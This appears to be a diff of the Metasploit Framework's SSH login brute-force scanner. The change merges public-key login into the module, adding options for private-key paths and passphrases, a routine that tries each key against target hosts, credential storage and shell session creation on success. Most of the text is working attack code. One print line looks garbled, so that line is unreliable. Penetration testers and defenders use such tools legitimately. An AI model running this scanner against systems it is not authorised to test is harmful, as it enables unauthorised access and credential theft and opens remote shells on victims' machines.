77require 'net/ssh/command_stream'
88require 'metasploit/framework/login_scanner/ssh'
99require 'metasploit/framework/credential_collection'
10+ require 'metasploit/framework/key_collection'
1011
1112class MetasploitModule < Msf ::Auxiliary
1213 include Msf ::Auxiliary ::AuthBrute
@@ -16,6 +17,8 @@ class MetasploitModule < Msf::Auxiliary
1617 include Msf ::Exploit ::Remote ::SSH ::Options
1718 include Msf ::Sessions ::CreateSessionOptions
1819 include Msf ::Auxiliary ::ReportSummary
20+ include Msf ::Exploit ::Deprecated
21+ moved_from 'auxiliary/scanner/ssh/ssh_login_pubkey'
1922
2023 def initialize
2124 super (
@@ -26,7 +29,8 @@ def initialize
2629 and connected to a database this module will record successful
2730 logins and hosts so you can track your access.
2831 } ,
29- 'Author' => [ 'todb' ] ,
32+ 'Author' => [ 'todb' , 'RageLtMan' ] ,
33+ 'AKA' => [ 'ssh_login_pubkey' ] ,
3034 'References' => [
3135 [ 'CVE' , '1999-0502' ] , # Weak password
3236 [ 'ATT&CK' , Mitre ::Attack ::Technique ::T1021_004_SSH ]
@@ -37,7 +41,10 @@ def initialize
3741
3842 register_options (
3943 [
40- Opt ::RPORT ( 22 )
44+ Opt ::RPORT ( 22 ) ,
45+ OptPath . new ( 'KEY_PATH' , [ false , 'Filename or directory of cleartext private keys. Filenames beginning with a dot, or ending in ".pub" will be skipped. Duplicate private keys will be ignored.' ] ) ,
46+ OptString . new ( 'KEY_PASS' , [ false , 'Passphrase for SSH private key(s)' ] ) ,
47+ OptString . new ( 'PRIVATE_KEY' , [ false , 'The string value of the private key that will be used. If you are using MSFConsole, this value should be set as file:PRIVATE_KEY_PATH. OpenSSH, RSA, DSA, and ECDSA private keys are supported.' ] )
4148 ] , self . class
4249 )
4350
@@ -55,21 +62,33 @@ def rport
5562 datastore [ 'RPORT' ]
5663 end
5764
58- def session_setup ( result , scanner )
65+ def session_setup ( result , scanner , used_key : false )
5966 return unless scanner . ssh_socket
6067
6168 platform = scanner . get_platform ( result . proof )
6269
6370 # Create a new session
6471 sess = Msf ::Sessions ::SshCommandShellBind . new ( scanner . ssh_socket )
6572
73+ auth_type_options = if used_key
74+ {
75+ 'PASSWORD' => nil
76+ }
77+ else
78+ {
79+ 'PASSWORD' => result . credential . private ,
80+ 'PRIVATE_KEY' => nil ,
81+ 'KEY_FILE' => nil
82+ }
83+ end
84+
6685 merge_me = {
6786 'USERPASS_FILE' => nil ,
6887 'USER_FILE' => nil ,
6988 'PASS_FILE' => nil ,
70- 'USERNAME' => result . credential . public ,
71- 'PASSWORD' => result . credential . private
72- }
89+ 'USERNAME' => result . credential . public
90+ } . merge ( auth_type_options )
91+
7392 s = start_session ( self , nil , merge_me , false , sess . rstream , sess )
7493 self . sockets . delete ( scanner . ssh_socket . transport . socket )
7594
@@ -92,6 +111,35 @@ def run_host(ip)
92111 @ip = ip
93112 print_brute :ip => ip , :msg => 'Starting bruteforce'
94113
114+ if datastore [ 'USER_FILE' ] . blank? && datastore [ 'USERNAME' ] . blank? && datastore [ 'USERPASS_FILE' ] . blank?
115+ validation_reason = 'At least one of USER_FILE, USERPASS_FILE or USERNAME must be given'
116+ raise Msf ::OptionValidateError . new (
117+ {
118+ 'USER_FILE' => validation_reason ,
119+ 'USERNAME' => validation_reason ,
120+ 'USERPASS_FILE' => validation_reason
121+ }
122+ )
123+ end
124+
125+ unless attempt_password_login? || attempt_pubkey_login?
126+ validation_reason = 'At least one of KEY_PATH, PRIVATE_KEY or PASSWORD must be given'
127+ raise Msf ::OptionValidateError . new (
128+ {
129+ 'KEY_PATH' => validation_reason ,
130+ 'PRIVATE_KEY' => validation_reason ,
131+ 'PASSWORD' => validation_reason
132+ }
133+ )
134+ end
135+
136+ do_login_creds ( ip ) if attempt_password_login?
137+ do_login_pubkey ( ip ) if attempt_pubkey_login?
138+ end
139+
140+ def do_login_creds ( ip )
141+ print_status ( "#{ ip } :#{ rport } SSH - Testing User/Pass combinations" )
142+
95143 cred_collection = build_credential_collection (
96144 username : datastore [ 'USERNAME' ] ,
97145 password : datastore [ 'PASSWORD' ]
@@ -130,7 +178,7 @@ def run_host(ip)
130178
131179 if datastore [ 'CreateSession' ]
132180 begin
133- session_setup ( result , scanner )
181+ session_setup ( result , scanner , used_key : false )
134182 rescue StandardError => e
135183 elog ( 'Failed to setup the session' , error : e )
136184 print_brute :level => :error , :ip => ip , :msg => "Failed to setup the session - #{ e . class } #{ e . message } "
@@ -159,4 +207,110 @@ def run_host(ip)
159207 end
160208 end
161209 end
210+
211+ def do_login_pubkey ( ip )
212+ print_status ( "#{ ip } :#{ rport } SSH - Testing Cleartext Keys" )
213+
214+ keys = Metasploit ::Framework ::KeyCollection . new (
215+ key_path : datastore [ 'KEY_PATH' ] ,
216+ password : datastore [ 'KEY_PASS' ] ,
217+ user_file : datastore [ 'USER_FILE' ] ,
218+ username : datastore [ 'USERNAME' ] ,
219+ private_key : datastore [ 'PRIVATE_KEY' ]
220+ )
221+
222+ unless keys . valid?
223+ print_error ( 'Files that failed to be read:' )
224+ keys . error_list . each do |err |
225+ print_line ( "\t - #{ err } " )
226+ end
227+ end
228+
229+ keys = prepend_db_keys ( keys )
230+
231+ key_count = keys . key_data . count
232+ key_sources = [ ]
233+ unless datastore [ 'KEY_PATH' ] . blank?
234+ key_sources . append ( datastore [ 'KEY_PATH' ] )
235+ end
236+
237+ unless datastore [ 'PRIVATE_KEY' ] . blank?
238+ key_sources . append ( 'PRIVATE_KEY' )
239+ end
240+
241+ print_brute level : :vstatus , ip : ip , msg : "Testing #{ key_count } #{ 'key' . pluralize ( key_count ) } from #{ key_sources . join ( ' and ' ) } "
242+ scanner = Metasploit ::Framework ::LoginScanner ::SSH . new (
243+ configure_login_scanner (
244+ host : ip ,
245+ port : rport ,
246+ cred_details : keys ,
247+ stop_on_success : datastore [ 'STOP_ON_SUCCESS' ] ,
248+ bruteforce_speed : datastore [ 'BRUTEFORCE_SPEED' ] ,
249+ proxies : datastore [ 'Proxies' ] ,
250+ connection_timeout : datastore [ 'SSH_TIMEOUT' ] ,
251+ framework : framework ,
252+ framework_module : self ,
253+ skip_gather_proof : !datastore [ 'GatherProof' ]
254+ )
255+ )
256+
257+ scanner . verbosity = :debug if datastore [ 'SSH_DEBUG' ]
258+
259+ scanner . scan! do |result |
260+ credential_data = result . to_h
261+ credential_data . merge! (
262+ module_fullname : self . fullname ,
263+ workspace_id : myworkspace_id
264+ )
265+ case result . status
266+ when Metasploit ::Model ::Login ::Status ::SUCCESSFUL
267+ print_brute level : :good , ip : ip , msg : "Success: '#{ result . proof . to_s . gsub ( /[\r \n \e \b \a ]/ , ' ' ) } '"
268+ print_brute level : :vgood , ip : ip , msg : "#{ result . credential } ', ' ')}'"
269+ begin
270+ credential_core = create_credential ( credential_data )
271+ credential_data [ :core ] = credential_core
272+ create_credential_login ( credential_data )
273+ rescue ::StandardError => e
274+ print_brute level : :info , ip : ip , msg : "Failed to create credential: #{ e . class } #{ e } "
275+ print_brute level : :warn , ip : ip , msg : 'We do not currently support storing password protected SSH keys: https://github.com/rapid7/metasploit-framework/issues/20598'
276+ end
277+
278+ if datastore [ 'CreateSession' ]
279+ session_setup ( result , scanner , used_key : true )
280+ end
281+ if datastore [ 'GatherProof' ] && scanner . get_platform ( result . proof ) == 'unknown'
282+ msg = 'While a session may have opened, it may be bugged. If you experience issues with it, re-run this module with'
283+ msg << " 'set gatherproof false'. Also consider submitting an issue at github.com/rapid7/metasploit-framework with"
284+ msg << ' device details so it can be handled in the future.'
285+ print_brute level : :error , ip : ip , msg : msg
286+ end
287+ :next_user
288+ when Metasploit ::Model ::Login ::Status ::UNABLE_TO_CONNECT
289+ if datastore [ 'VERBOSE' ]
290+ print_brute level : :verror , ip : ip , msg : "Could not connect: #{ result . proof } "
291+ end
292+ scanner . ssh_socket . close if scanner . ssh_socket && !scanner . ssh_socket . closed?
293+ invalidate_login ( credential_data )
294+ :abort
295+ when Metasploit ::Model ::Login ::Status ::INCORRECT
296+ if datastore [ 'VERBOSE' ]
297+ print_brute level : :verror , ip : ip , msg : "Failed: '#{ result . credential } '"
298+ end
299+ invalidate_login ( credential_data )
300+ scanner . ssh_socket . close if scanner . ssh_socket && !scanner . ssh_socket . closed?
301+ else
302+ invalidate_login ( credential_data )
303+ scanner . ssh_socket . close if scanner . ssh_socket && !scanner . ssh_socket . closed?
304+ end
305+ end
306+ end
307+
308+ def attempt_pubkey_login?
309+ datastore [ 'KEY_PATH' ] . present? || datastore [ 'PRIVATE_KEY' ] . present?
310+ end
311+
312+ def attempt_password_login?
313+ datastore [ 'PASSWORD' ] . present? || datastore [ 'PASS_FILE' ] . present? || datastore [ 'USERPASS_FILE' ] . present?
314+ end
315+
162316end
0 commit comments